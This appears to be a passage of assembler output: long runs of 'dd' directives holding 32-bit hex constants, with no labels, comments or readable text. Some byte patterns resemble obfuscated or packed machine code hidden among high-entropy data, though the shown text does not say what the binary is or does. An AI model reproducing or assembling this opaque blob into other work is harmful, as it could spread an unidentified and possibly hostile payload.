		dd 0CC0DB6AEh, 0B68C1A83h, 0E97A24C0h, 0C17375D1h, 0EDEF34D0h
		dd 58F54CDh, 4118290h, 6F1C52CCh, 906AFC54h, 13BEC4DFh
		dd 0B2E15803h, 41CAAEA4h, 0CB74ACAh, 41F1879Bh,	9CFA4ACAh
		dd 0C527C18Ah, 50C9FC58h, 0F0C0h, 0C33F600h, 263CAB3Ch
		dd 4CD1A256h, 4D2B399Dh, 4CFCC398h, 0BD91AD6Eh,	899B09BBh
		dd 0F263EDD0h, 0A72014E1h, 43F6E757h, 0E679BACEh, 0FDFBE97Bh
		dd 0D151E3C3h, 0DF69504Ch, 0B58F4C11h, 7EF0849Dh, 8C624229h
		dd 4EFAC19Ah, 1820FB6Ch, 8B6DDDE3h, 71594BD9h, 0A771FEC7h
		dd 71C3608h, 8FADFA1Eh,	2ABB29BBh, 0CC095338h, 2A187E52h
		dd 92AF405Ah, 6BF9516Fh, 90AF6CF9h, 0AE39AEB8h,	677DD1EDh
		dd 0DDAEFC79h, 0CDF29954h, 9380157Fh, 0CF8E33D7h, 92031177h
		dd 784A06B9h, 1CA8A89Bh, 5DEB26C8h, 0EB20E5C3h,	89000000h
		dd 0E5A69CB8h, 8D7E74D8h, 0EAA799ADh, 8F7C76D4h, 0AFA69CB4h
		dd 61EFD26Bh, 90BE828Fh, 83CFF1A2h, 6BDDDCADh, 485ABB95h
		dd 4AF0F630h, 7F9668BBh, 0A0E72964h, 0A6BCD401h, 4CD1B2D6h
		dd 392BB91Dh, 0FDF35D60h, 251B2D0Ch, 3C0C334Fh,	7EC8F0ABh
		dd 0AA919268h, 0C6D8A49Eh, 77FB1780h, 7852F2DDh, 605F1C1Eh
		dd 4E451AE8h, 0A3BB9B72h, 994EAAA2h, 5002190Ah,	188EBA81h
		dd 0DA6E4D0Eh, 0C358EAE0h, 0E7144429h, 0AC5C7769h, 82D80D08h
		dd 176FB5ABh, 0AF5B4D0Ah, 73D5E4A5h, 9BAD8C7Dh,	6CDEDC9Dh
		dd 2098E8FBh, 0D9D6EE21h, 0AF95B3C9h, 48DE387Fh, 0A49F5C5Eh
		dd 0BED5961h, 2CEDCB59h, 623B3D0Fh, 0F1CCBF99h,	29104E0Ah
		dd 3121B61Fh, 7FAF954Bh, 42302690h, 0DCDE6A51h,	0D1Bh
		dd 0A7BB2C00h, 7FAF95D1h, 0DCAABC1Ah, 1233D42Ah, 94AB6842h
		dd 0BB5B6B4h, 8CB07147h, 182BE8C2h, 7E414238h, 251BD8D2h
		dd 76464325h, 2419DAD0h, 56945228h, 0C681E689h,	4, 4EE81h
		dd 34870000h, 1C895C24h, 0BC16824h, 2C890000h, 39E26824h
		dd 4890000h, 0CB06824h,	14890000h, 39B8BA24h, 0C2814CDEh
		dd 694A7AD2h, 517BCA81h, 0EAC179CEh, 6CA8103h, 81108A2Bh
		dd 237574CAh, 0A2EA8122h, 8939DEB4h, 8B545AD5h,	0C4832404h
		dd 4815504h, 7E283B24h,	8408F18h, 60B9BA52h, 0E2C16811h
		dd 56EA8105h, 0F725273Eh, 8EAC1D2h, 0D2ECEA81h,	5029E7A4h
		dd 34FF5A08h, 0C4835824h, 242C8B04h, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 0E95C243Ch, 0FFFAEF80h, 0D4095170h, 0B70D300Fh
		dd 155DE943h, 0B8087BB5h, 62155BAh, 0E0FFC503h,	1F44843Ch
		dd 7A319BF6h, 74F8742Fh, 3AD57016h, 0BE8h, 92FA3000h, 0A338CA8Ch
		dd 7EB0E8DDh, 5ACAB70Fh, 46C281F8h, 81000071h, 0DC01F6h
		dd 1C2BB87Bh, 0BF0F0000h, 0F3A8BF7h, 0B88h, 58A0F00h, 0BB000000h
		dd 44A2DB0Bh, 0AE4DEF81h, 0F7817AE0h, 568D0E0Eh, 0EF81EEB3h
		dd 5FA8E340h, 8E9h, 2EA4200h, 0B0B5C834h, 0BE6657E5h, 28FE52Eh
		dd 0B74BEBBh, 4EA835Eh,	19A1BB66h, 1E881h, 850F0000h, 12h
		dd 20E918B1h, 0D8000000h, 197F269Dh, 3081B480h,	0B966E02Fh
		dd 92E95CEFh, 0CEFFFFFFh, 0F6D064B0h, 0AEFE9E1Bh, 0E8ADFA6Dh
		dd 0Eh,	73CD3A93h, 0B189EEDh, 44F25996h, 8A0F4346h, 2
		dd 0F5A5F52h, 85h, 44C28100h, 0E9000059h, 13h, 88167643h
		dd 2F9C2F5Ch, 3DE1045Ch, 6C86EE90h, 68F4BDEBh, 162Dh, 58FFB70Fh
		dd 1BE2E4BFh, 810A8B7Ch, 0A9A980E9h, 10E909h, 0AFC60000h
		dd 0E5B18197h, 916B4E41h, 0C8AAE19Bh, 0C181415Bh, 741BC05h
		dd 0E902D4BBh, 44E98133h, 6606936Ch, 51AE3EBFh,	3BBF028Fh
		dd 83356C17h, 9FB304EAh, 0F01E883h, 0FFFFB885h,	0F28B66FFh
		dd 8EBh, 0F650000h, 0E7E92830h,	68000004h, 62158DFh, 0FA2647E9h
		dd 594668FFh, 3DE90621h, 68FFFA26h, 6215AC7h, 0FA2633E9h
		dd 0AA4527FFh, 6706F007h, 0A04733C8h, 6E09EA01h, 963D34CBh
		dd 854C4EF3h, 0CD22C56Ch, 8A6100A3h, 0D62DCC6Bh, 5F53F699h
		dd 2A9E5FE4h, 0F8F138E9h, 37DE1B4Ah, 0A52AA79Eh, 3EC87D54h
		dd 0E4F99D2Bh, 84C9680Bh, 8020BFAFh, 0B92378Eh,	0F55FBA84h
		dd 2EC73DC4h, 2CA3C015h, 4F2DC7h, 69905E96h, 319F8FCh
		dd 88D0000h, 2CAF728Bh,	16BDB4C7h, 0B351D179h, 549C0D13h
		dd 0B9368ED3h, 3EC87D20h, 0BE3FC43Fh, 0D13EC87Dh, 0B033B533h
		dd 0CF6F16E3h, 5991078Ch, 0A422C4F5h, 464E14AFh, 86DBC44Ah
		dd 0A38C13Eh, 0F157C2B7h, 9D67EC6Fh, 0DE388A26h, 0F247CF68h
		dd 0EBCF54D7h, 7C3290EDh, 7E0A870Eh, 4B0DE257h,	16E76C6Fh
		dd 69CE81D5h, 24B95DDBh, 8427514Bh, 4FEE08EBh, 941694B6h
		dd 6E11DEF5h, 4C0DAE9Ah, 0A535FA40h, 304h, 0F295303Ch
		dd 0CF7211DDh, 0FC9B4238h, 0C66904E7h, 0FEA14831h, 7188495Bh
		dd 0A8D027CAh, 608D6205h, 0AEC91EC1h, 0DB7A6C0Bh, 0E9258554h
		dd 2F13DC38h, 0AACBA73Eh, 5AD8720Bh, 50F3FCD3h,	0EC26ADB0h
		dd 6FC4EA85h, 717D52D9h, 542B2ED2h, 0FCD3761Dh,	92B14EF5h
		dd 0C716D44Eh, 3C0CAFC8h, 49DB0CF6h, 9D9D3DD2h,	0D5000002h
		dd 865DFC97h, 0D126C968h, 885F02A9h, 0DA31D06Bh, 0F459F89Fh
		dd 6F16E3EEh, 9A3D3BD0h, 7615E0F7h, 50F3FCD3h, 19963DB1h
		dd 38E924C0h, 3EF4CE9Fh, 169B22A7h, 0EC893049h,	5F75BA5Eh
		dd 0C0C4EA85h, 4396AD4Ah, 0ACC716D5h, 774C7FD2h, 8851CE7Ah
		dd 0E7C716D5h, 446DF61h, 5E32AA64h, 0C824FC63h,	9E000001h
		dd 0B75A966Dh, 12B5C217h, 0C9717E75h, 0C87DB34Ah, 15E1CE3Eh
		dd 0EF76F476h, 33CE9D72h, 0D22BB09Ah, 0AD3EC87Dh, 66987717h
		dd 0C26593DFh, 20A32525h, 0F55969A3h, 18402C4h,	0FDA14832h
		dd 0A1DA1F24h, 5943C72Ch, 0B055E316h, 67901814h, 30A86206h
		dd 9CFC6906h, 25439A19h, 0A81EC72Ch, 4ACF08h, 3E330000h
		dd 169B22A7h, 0C87D4099h, 7AAC63Eh, 0EA60DC6Eh,	0A67C0346h
		dd 39C4F4AEh, 3C1332CBh, 6BF09033h, 0C72CB296h,	7A49CC7Fh
		dd 0E3CD980h, 2CB27485h, 0D97D0BC7h, 16ED202Fh,	0AD9D3AD5h
		dd 80D90F09h, 0AF7FFC69h, 3000000h, 15E2DC1Bh, 0EE75D572h
		dd 0C87D6871h, 0FF81073Eh, 0BD648D66h, 0FCA4D320h, 0C87D6677h
		dd 986F93Eh, 3EC87DF0h,	0F977F98Fh, 0B558975Ch,	7AEA0D12h
		dd 4B243EC8h, 0D01509A8h, 70EF72F9h, 0C1378669h, 5BDE8208h
		dd 9224FD4h, 0F174123Bh, 17B05722h, 60719825h, 22A0341Eh
		dd 0DE4BB7Eh, 452CC366h, 4862947h, 0E7E1F034h, 0EBEFC049h
		dd 11Ch, 0DA7D1854h, 0A74AE905h, 0E4832A50h, 9E41DC0Fh
		dd 0E6893049h, 89706183h, 0D0A83FE2h, 78758A2Dh, 0D6A136D9h
		dd 0A3229433h, 0E927DD1Ch, 7BBB438h, 9837DE1Bh,	3D3A3443h
		dd 0CB4DFD9Ah, 0DC1B262Ch, 0EA7118E2h, 0C87D9465h, 0DB5DEB3Eh
		dd 15C6B142h, 0D91266AAh, 0BC5BDDF6h, 4FD6F34Ah, 0F48338D0h
		dd 4AD137C4h, 4ED57C75h, 39D67581h, 2698111h, 0D36EDD19h
		dd 8A4FD433h, 84C72CD6h, 6E45C86Bh, 644E180h, 0FEA2412Dh
		dd 0AB1C81Fh, 8A6D6Dh, 62E60000h, 0E9665FE7h, 0C72CE510h
		dd 4349D96Fh, 6031C1D8h, 0F14C0844h, 3E989E42h,	169B22A7h
		dd 0EF8F2A49h, 0EA85A46Ah, 0B451B7C4h, 0EA8D303Fh, 9E37DA15h
		dd 54A52AA7h, 2BC716D5h, 34F99Dh, 2152427h, 4D22551Ch
		dd 0F7831Eh, 9D5682Dh, 7F005A9h, 0E112E164h, 6C83A246h
		dd 0AC47E083h, 0B2D916BFh, 238D71BFh, 0AEB08A5h, 5521D26Bh
		dd 6EEC935Fh, 0B9B866D1h, 501FCD8Bh, 6609ACCBh,	2AC36691h
		dd 3B0h, 0BC862A00h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh
		dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh
		dd 0AE47E610h, 5E545624h, 4C681h, 0EE830000h, 24348704h
		dd 2021685Ch, 3C890000h, 0E7895724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 50243489h, 395ABF57h, 0E7817C54h, 0B941D67h
		dd 6751CF81h, 0EFC13C4Eh, 57F78107h, 890EBA8Bh,	0D0355FF8h
		dd 0D62C30Bh, 3942595Fh, 0F703E0C1h, 43FC35D8h,	0C78913C5h
		dd 4EC8358h, 83242489h,	5E042404h, 89585750h, 8B580846h
		dd 89522434h, 4C281E2h,	81000000h, 4C2h, 24148700h, 243C8B5Ch
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFFA2178h
		dd 9ABF6215h, 3CFEBCBCh, 3C6C7171h, 8B86A5Fh, 306215Ch
		dd 43E0FFC5h, 0F01649CAh, 0EA0CFBD2h, 285547E3h, 5D133A9Fh
		dd 0DE0D19ECh, 2763F8EEh, 731FC034h, 4F14623Dh,	0F10AA8FDh
		dd 2C16A237h, 54232D40h, 36321569h, 792F5783h, 272A9662h
		dd 0E42CBF23h, 0DB21CAAAh, 5261C9BEh, 9C018DB8h, 0E0296373h
		dd 3455576Dh, 967F89EDh, 0BC02D4C3h, 1847E387h,	0C957C0F5h
		dd 6762DC48h, 9D2DD393h, 0EB586593h, 8C2AB01Bh,	0E86D5E96h
		dd 9, 0C1E6104Eh, 0CFBAFF1Ah, 5880F0Ch,	66000000h, 0B99F781h
		dd 0AE95Eh, 66520000h, 314EE7CDh, 0D83C17CBh, 59C2C681h
		dd 0B70F0000h, 163668FAh, 0F4B00000h, 0B70F605Bh, 36FF61DAh
		dd 8FDBEF81h, 525A34ADh, 0CE8h,	5B04AE00h, 0E2A9D94Dh
		dd 23DE819Ah, 0F1F580B5h, 0C2815959h, 27E6D535h, 110FBAB8h
		dd 71EA8111h, 811F38C9h, 0A74CAFD7h, 68F2817Ah,	665EBC84h
		dd 79AFF781h, 8FF98B52h, 0DE806h, 9B520000h, 0E7F0D6A8h
		dd 1FFC527Bh, 8BC7B2B2h, 0EE8159FBh, 77F1C9D3h,	81CEB70Fh
		dd 0F1C9CFC6h, 9BAB877h, 0EB813E54h, 1,	1A850Fh, 0FCB40000h
		dd 31E9h, 62CDB00h, 0CB444D5Ch,	0C21B7A38h, 309FB3F0h
		dd 0E18B827Dh, 10B86650h, 5FE9589Fh, 99FFFFFFh,	0F6A69413h
		dd 37F4ED61h, 6F3260D3h, 81CE76EBh, 8D8DE48Ah, 6215E9Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h
		dd 0B3C4D39Bh, 0BE431613h, 2C21858Bh, 8D89061Bh, 61B2429h
		dd 1A5D958Bh, 85C7061Bh, 61B0765h, 7128h, 85C7E38Ah, 61B13D1h
		dd 0
		dd 2299B5FFh, 95FF061Bh, 61B2F85h, 38E0Fh, 8B660000h, 0FF006AD9h
		dd 1B220595h, 0EBC08B06h, 59F85D0Ah, 5FA29D7Ch,	8DBBBD30h
		dd 215FA68Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 4F45B5D7h, 891B7E33h, 1B24298Dh
		dd 178F0F06h, 0E8000000h, 0Fh, 0D2167021h, 8195D677h, 0C7532B07h
		dd 8BA32890h, 85C75BC6h, 61B0765h, 6D94h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 55C35545h, 10015A6h
		dd 4AD1F1BAh, 858B533Dh, 61B3249h, 0D185C75Bh, 61B13h
		dd 29000000h, 1B092595h, 0D9B5FF06h, 6A061B25h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0B0FDC357h, 76A83BBDh, 81A2BE1Dh, 0B58B2855h, 61B32C9h
		dd 2F8595FFh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 6A1759C3h, 7580B8B6h, 858B7D9Bh
		dd 61B0711h, 95FF006Ah,	61B2205h, 2AEBC08Bh, 722EEAC6h
		dd 0CBE05984h, 0A1B185F4h, 84E23BFFh, 858E5A49h, 84E302B3h
		dd 796D2728h, 6C5D56ECh, 26EB7F28h, 0BAC3F3EDh,	6E8D14Bh
		dd 0C8000000h, 616303B8h, 2880F10h, 0B2000000h,	0CE95BACh
		dd 31000000h, 0E2495C22h, 67172CFAh, 81D1D48Bh,	6FC4C3h
		dd 0FD952900h, 0B8061B2Ah, 21278B8Eh, 9030F081h, 0B9662127h
		dd 33FF4E89h, 1689B589h, 315E061Bh, 1B11FDBDh, 62F68106h
		dd 30D3C1Dh, 1B0795BDh,	76C68106h, 8B0AFF69h, 1B28CD8Dh
		dd 37EE8106h, 891A2BECh, 1B03ED8Dh, 8B338906h, 1B3011BDh
		dd 2EB8306h, 0DE8h, 65146200h, 0E4A9885h, 8F07E5C7h, 0BA6657FAh
		dd 4B59E6F6h, 85BD8B4Bh, 83061B06h, 850F01E8h, 11h, 25F98D8Bh
		dd 24E9061Bh, 4000000h,	8AF41A34h, 0B59503F9h, 0E9061B13h
		dd 0FFFFFF7Eh, 0CCF2516Bh, 1E95E5CDh, 0B5059322h, 0F0F9966Bh
		dd 0E82AE580h, 0Ah, 0A9422094h,	0C7EAC9E5h, 89585841h
		dd 1B29759Dh, 0F7C08106h, 66000072h, 97DEC781h,	0BF0FF62Bh
		dd 634FFFEh, 0CE9h, 42F67900h, 645213AFh, 4A70C56Ah, 0EB815B96h
		dd 5AFA36D9h, 0F3815A56h, 704F84A0h, 147AF781h,	0EB81281Dh
		dd 5CE93A23h, 1C8946B2h, 12E930h, 4E2D0000h, 931BB17Fh
		dd 0BDC99E2Ch, 0E3FA831Ah, 0F19EE43Ch, 68C0Fh, 95890000h
		dd 61B12A9h, 971AEE81h,	9D29038Ch, 61B0D45h, 9716C681h
		dd 0EE9038Ch, 0A6000000h, 22FD5E11h, 0E4C1C8B0h, 0C6576DCDh
		dd 0B4FE81D3h, 0FFFFF8Dh, 0FFFF7885h, 98D8BFFh,	8D061B04h
		dd 21621B8Dh, 0BDB58906h, 8B061B1Ch, 1B1BC1BDh,	298D8906h
		dd 6A061B24h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0EE17C352h, 20DDB58Bh,	85C7061Bh
		dd 61B0765h, 607Ch, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 57C35343h, 0F9D7ED82h, 13D185C7h, 61Bh
		dd 6BBB0000h, 0FF065BB9h, 1B2549B5h, 31BD8906h,	66061B2Dh
		dd 95FFFB8Bh, 61B2F85h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0FFC35040h, 0DE5AB9ABh, 8945AE06h, 1B0D4D8Dh
		dd 0A7BE6606h, 0FF006A7Ah, 1B220595h, 0EBC08B06h, 758AC81Ah
		dd 0B8983311h, 0D9E7EE73h, 1C617763h, 0DBF903AEh, 35D0B911h
		dd 8D740B06h, 2163018Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0F98589B9h, 89061B12h
		dd 1B24298Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0B7A1F999h, 0C7E5D647h, 1B076585h
		dd 6A8006h, 0BD958B00h,	0C7061B24h, 1B13D185h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 9D8B29A6h, 61B1765h,	7B5B5FFh, 6A061Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9529E5C3h
		dd 61B24B1h, 2F8595FFh,	0A0BE061Bh, 6A146531h, 595FF00h
		dd 8B061B22h, 643DEBC0h, 8199BC4Dh, 838F8623h, 0E79257D9h
		dd 23FE2D4Dh, 0D9259B15h, 0BFF2E2D1h, 0EC56FDEAh, 0EBA836A5h
		dd 0E72B1B69h, 53BCFF0Ch, 0B82E1046h, 2B6499B9h, 3710A5DEh
		dd 0F0A9071Fh, 7B293350h, 63A58D8Dh, 6A0621h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B589EBC3h
		dd 61B040Dh, 24298D89h,	0C680061Bh, 85C7FC0Bh, 61B0765h
		dd 6588h, 0C7C1B70Fh, 1B13D185h, 6, 0B98D8900h,	0FF061B0Ch
		dd 1B005DB5h, 8595FF06h, 6A061B2Fh, 595FF00h, 8B061B22h
		dd 9A39EBC0h, 9675B1F1h, 11EAEB13h, 61B8C65Ah, 6BBFF95Fh
		dd 0CEE1D7D0h, 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 0D3B03349h
		dd 2CB7D08Bh, 68CC3FE2h, 778C3536h, 0EA1979E0h,	1C12FF7h
		dd 13E8h, 0B1D76000h, 63490F63h, 417674E7h, 54A8B9F9h
		dd 8AD5542h, 0DE8h, 0DED39500h,	726135DDh, 1B6FA28Dh, 0BD89C1A1h
		dd 61B0EF1h, 6E95E5Bh, 41000000h, 0A1B88632h, 0F2C681C0h
		dd 0F00005Bh, 68D0BFh, 66000000h, 0F2E8E381h, 0D5B53158h
		dd 8B061B1Bh, 958B063Ch, 61B2379h, 4EDBF781h, 0BD8950E5h
		dd 61B08C1h, 6882C781h,	0E9603F16h, 0Bh, 2D8FD053h, 8E07AEB8h
		dd 662F4BE8h, 7D2BD081h, 49F78161h, 66100E36h, 2957CA8Bh
		dd 1B2AAD85h, 6048F06h,	7699D31h, 8166061Bh, 834952DBh
		dd 8B0F02E8h, 6, 19D5BD01h, 4848061Bh, 6890Fh, 0B5290000h
		dd 61B2A91h, 0A508F881h, 850FFFFFh, 19h, 0D08B6656h, 29E95Ah
		dd 0CF3B0000h, 68664787h, 843EDA00h, 3F282C25h,	0D8D8BF2h
		dd 0E9061B01h, 0FFFFFF63h, 0FA71B77Bh, 0F2BAB8D9h, 117BBC67h
		dd 0E839E5D9h, 5, 0DC28A355h, 9F32B9F9h, 895E0119h, 1B29EDBDh
		dd 4EC68106h, 0F5000065h, 68h, 0C68B6600h, 258D8B5Ah, 8B061B2Bh
		dd 0F9B3163Ch, 36C8EF81h, 81662884h, 8169D5E9h,	824FDEF7h
		dd 0EF81F51Ah, 186EB7A4h, 0ED9D8953h, 5B061B21h, 0B5163C89h
		dd 0CB8B669Ch, 6604EA83h, 367FD981h, 9B40FA81h,	850FFFFFh
		dd 15h,	17919D8Bh, 1FE9061Bh, 2D000000h, 61939EF6h, 0FF883E0h
		dd 0E0816694h, 0A0E96DBBh, 8BFFFFFFh, 0E0895315h, 72A7D01Bh
		dd 8D8DD283h, 6216656h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D0C35141h, 51F4585h,	0B5858B59h, 52061B2Dh
		dd 1251BD89h, 895F061Bh, 1B24298Dh, 0DF816606h,	85C70CDCh
		dd 61B0765h, 5908h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0F5C35040h, 2EC9C1A7h, 6E997h, 553F0000h
		dd 495006B8h, 13D185C7h, 61Bh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0AE10C6C3h
		dd 0B5FF84EFh, 61B25D9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 2EC35646h, 0FE8BAC0Ah, 2F8595FFh, 8D89061Bh
		dd 61B0BE5h, 95FF006Ah,	61B2205h, 2AEBC08Bh, 0AAEDA701h
		dd 0DB86672Ch, 38EBC944h, 72A2F9Ah, 0CD6D934Ah,	0BC68A25Ch
		dd 1D3D3CEAh, 6D1EC628h, 0CB23B46Ah
		dd 14A43B69h, 5E87337h,	63000000h, 0F5A719ACh, 1A1DB589h
		dd 5659061Bh, 3DA638BFh, 0C1815F3Fh, 5EB3h, 2B998529h
		dd 80BA061Bh, 0E8000017h, 13h, 32FF62D5h, 0AFF27224h, 0E2BAC803h
		dd 3364E10Dh, 8B51537Dh, 1B1CE5BDh, 18B5F06h, 1AA5BD8Bh
		dd 0C081061Bh, 61F1F3EFh, 2385B50Bh, 0F081061Bh, 72BE57F1h
		dd 7E8h, 0DCC8C500h, 0FEAFB719h, 6870Fh, 0B5890000h, 61B1209h
		dd 0CCF0815Bh, 0B313CDA0h, 0BF665001h, 18F7614h, 2F8DB52Bh
		dd 0E983061Bh, 8349F903h, 850F01EAh, 0FFFFFFAAh, 13E8h
		dd 0BD513C00h, 50FAFE52h, 9B27B65Dh, 693FE52Fh,	0F4435427h
		dd 24592BEh, 11E85F7Bh,	86000000h, 496207D2h, 0B6B60AB8h
		dd 0D8200ACAh, 0F4A124B7h, 0C60F12BEh, 0FE95B5Dh, 0D000000h
		dd 0A5547149h, 3B8141EEh, 144F505Ch, 0C3816370h, 6850h
		dd 0CEB8CE8Bh, 813761EBh, 9E2E0BC0h, 5E8C8h, 0F9600000h
		dd 0F51E63CAh, 8133FF59h, 130CD6DEh, 10E85F70h,	0FF000000h
		dd 7D4C7475h, 0E4FCB186h, 347D5A5Eh, 0E8FCC3DDh, 11h, 0B4AE078Eh
		dd 0E4BECD47h, 4E86B0C0h, 0D3D7B2A2h, 800F80h, 5E000000h
		dd 7AEF815Ah, 8907C395h, 1B028D85h, 4DC78106h, 0E82E8A2Ah
		dd 7, 324078B0h, 29087F8Fh, 1B32E9BDh, 0F7815E06h, 5CE00202h
		dd 29898D03h, 3B89061Bh, 83D2B70Fh, 5E802EBh, 0EA000000h
		dd 419E3468h, 32D19501h, 4B59061Bh, 35B5894Bh, 83061B2Bh
		dd 850F01E8h, 0FFFFFF69h, 1EB86056h, 0F006B97h,	8Fh, 0E85E6100h
		dd 0Ah,	0D7BDF4C3h, 0C4F2D964h,	505B3370h, 815ECF8Bh, 713CC3h
		dd 0BF46B500h, 436938D4h, 1CB5EF81h, 33FF4369h,	7D5B58Bh
		dd 8158061Bh, 7F1054C0h, 0B9B58B5Dh, 81061B2Ah,	1518ADE8h
		dd 51E88154h, 60747B71h, 58FA8B56h, 0BF9B589h, 5061061Bh
		dd 0BE8h, 9C05300h, 518CAFF5h, 4029A2Dh, 30FDBD89h, 8F5E061Bh
		dd 0C88B6603h, 0D822EB81h, 850F40EAh, 6, 18D99529h, 0C381061Bh
		dd 40EAD81Eh, 1CD98D89h, 0F4F061Bh, 1585h, 856EBE00h, 29E914FDh
		dd 6A000000h, 0A8A1101Fh, 78812CACh, 0EA81C53Bh, 340C9A04h
		dd 0FFFF71E9h, 84A114FFh, 0E873B2C6h, 42AA63F6h, 289700DBh
		dd 3453160h, 89A07582h,	78146908h, 0B38DA6DCh, 86363E60h
		dd 8635A12Eh, 13D92590h, 5302548h, 9D3CA499h, 23F2514h
		dd 86302581h, 949D9807h, 89302359h, 86305EA5h, 1BB5E390h
		dd 0C8363E6Bh, 0D7FA594Ch, 0A234A484h, 97C129CDh, 8AB1907Bh
		dd 3BD2359h, 802E5567h,	76BBF56Fh, 0A5ADA08Eh, 6E7E233Fh
		dd 86302516h, 2E72F249h, 0A274AED4h, 0F30AE46h,	0DE340165h
		dd 949D906Fh, 3BD2353h,	802E5562h, 7EBBF5EDh, 863035B0h
		dd 8638CC84h, 89962542h, 86302BA4h, 4F3B6C90h, 79C0A047h
		dd 8BD9DADBh, 0B302512h, 9D7CF694h, 86359D82h, 65CF2542h
		dd 0EECF98ACh, 0BBD23B1h, 80114C8Dh, 0B615379Ch, 47FF0E94h
		dd 89A07582h, 78146908h, 0B38DA6DCh, 86363E60h,	8635A12Eh
		dd 13D92590h, 5302548h,	0E983A499h, 0B9A4F305h,	22h, 0AE8h
		dd 55BD9200h, 7BED3Eh, 6091F477h, 0DD8531FCh, 61061B1Eh
		dd 0DBBB6659h, 8CC18127h, 3300005Eh, 0C19D8BFFh, 8B061B09h
		dd 8E0F3904h, 6, 31C9B58Bh, 0F081061Bh,	40EA1391h, 7E9h
		dd 0C7FEE900h, 80A1F895h, 0EFA3E881h, 0B50B5FA1h, 61B1CB5h
		dd 86C4F081h, 8F0F0DB5h, 9, 38F0Fh, 0BF0F0000h,	390489D1h
		dd 6800Fh, 8D890000h, 61B0AE9h,	10E9h, 0D5CC7A00h, 90F2358h
		dd 9237AD0Ah, 9A689087h, 2EF83FFh, 4FF0BF0Fh, 6626BA4Fh
		dd 0FF81362Ch, 0FFFFA24Ch, 1F850Fh, 85290000h, 61B24F5h
		dd 2CE9h, 0CC906B00h, 0F72F5DEBh, 2E29EC5Ah, 7D7F2AB7h
		dd 0F0310587h, 0FF5DE9C8h, 277FFFFh, 0D99F92FFh, 35D583ABh
		dd 5A2C8FE9h, 0D3F37D93h, 758D8D1Ch, 6A06216Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 55FBC355h, 896EF82Ch, 1B24298Dh, 85950B06h, 0C7061B1Bh
		dd 1B076585h, 6D0406h, 0C38B6600h, 13D185C7h, 61Bh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B8CF2C3h, 1B2D6585h, 0D9B5FF06h, 6A061B25h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 55DBC351h, 0B866450Ch, 95FF50E5h, 61B2F85h, 0E5B58BF8h
		dd 6A061B02h, 595FF00h,	8B061B22h, 6E2AEBC0h, 0C38A8664h
		dd 7C15CAC3h, 1A732439h, 6ED6AE59h, 0FC1E07BEh,	8FDCF62Bh
		dd 0C16BDE79h, 5E3289A5h, 6EF3E258h, 80B7D4B1h,	0A804EBA2h
		dd 0E90DA24Fh, 838h, 42E5806Ch,	7F22C1ADh, 4CEB9268h, 7619B4B7h
		dd 4EF19861h, 2158792Bh, 0F800D77Ah, 501DB255h,	0FEF90EB1h
		dd 8B0ABC5Bh, 0E916F504h, 1FA38C38h, 0C87D916Bh, 6C66913Eh
		dd 941DE85h, 0E065E887h, 0C87D9A63h, 6871EE3Eh,	73EC87Dh
		dd 0E3830181h, 961DAC31h, 0F541BB19h, 9A624C4h,	0C9680FEAh
		dd 5A24532h, 0C15E01EEh, 85CC9Ah, 39B554F7h, 0FC699703h
		dd 5255h, 0DE1BAD00h, 0D8A79E37h, 0E367009Bh, 1CC3AE43h
		dd 0A735D883h, 0C7FFFA77h, 0FF29CDE0h, 670EEB70h, 0F164EC8h
		dd 28400285h, 0C2000000h, 0AD29DE1Bh, 13AF3501h, 0F94AE365h
		dd 3EC831E3h, 25AAC561h, 3F02A54Ch, 31BC3DC2h, 35D33EC8h
		dd 192391h, 1B9D0000h, 0A59E37DEh, 3EC87D56h, 482BF8CBh
		dd 963A10ADh, 9960E56Ch, 3E074FF2h, 0D9B22A7h, 34FB6F73h
		dd 0C2E16457h, 0D1A13B47h, 27ACAF4Fh, 0C4F51DCDh, 945FF88Eh
		dd 0C318B75Eh, 1DBCB9B7h, 0AF48CA80h, 74F7D267h, 101E01EFh
		dd 78FD8B3Dh, 2866F025h, 4EBC7818h, 943342B1h, 5CFFF8FBh
		dd 0F87721C3h, 93DE08CAh, 9A3DE40Eh, 0E9862D45h, 0C568875Ch
		dd 6C2D1C21h, 0B25CCD02h, 39E01A9Fh, 7EA92FB2h,	0F86EE67Eh
		dd 7C7E7F04h, 7801CD02h, 9BBFF0DFh, 21C543BFh, 25B93F02h
